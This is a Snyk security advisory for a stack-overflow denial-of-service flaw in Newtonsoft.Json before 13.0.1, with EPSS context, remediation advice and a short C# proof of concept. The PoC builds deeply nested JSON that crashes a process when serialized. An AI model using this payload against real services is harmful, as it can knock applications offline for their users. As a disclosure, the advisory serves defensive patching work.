Insecure Defaults Affecting newtonsoft.json package, versions [,13.0.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-DOTNET-NEWTONSOFTJSON-2774678
- published24 Apr 2022
- disclosed24 Apr 2022
- creditGil Mirmovitch
Introduced: 24 Apr 2022
CVE-2024-21907 (opens in a new tab)How to fix?
Upgrade Newtonsoft.Json to version 13.0.1 or higher.
Overview
Affected versions of this package are vulnerable to Insecure Defaults due to improper handling of StackOverFlow exception (SOE) whenever nested expressions are being processed.
PoC
using System;
using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace JsonTests
{
class Program
{
static void Main(string[] args)
{
//Create a string representation of a highly nested object (JSON serialized)
int nRep = 24000;
string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
string.Concat(Enumerable.Repeat("}", nRep));
//Parse this object (Parsing works well - no exception is being thrown)
var parsedJson = JObject.Parse(json);
using (var ms = new MemoryStream())
using (var sWriter = new StreamWriter(ms))
using (var jWriter = new JsonTextWriter(sWriter))
{
//Trying to serialize the object will result in StackOverflowException !!!
parsedJson.WriteTo(jWriter);
}
//ToString throws StackOverflowException as well (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
//parsedJson.ToString();
//JsonConvert.SerializeObject throws StackOverflowException as well
//string a = JsonConvert.SerializeObject(parsedJson);
}
}
}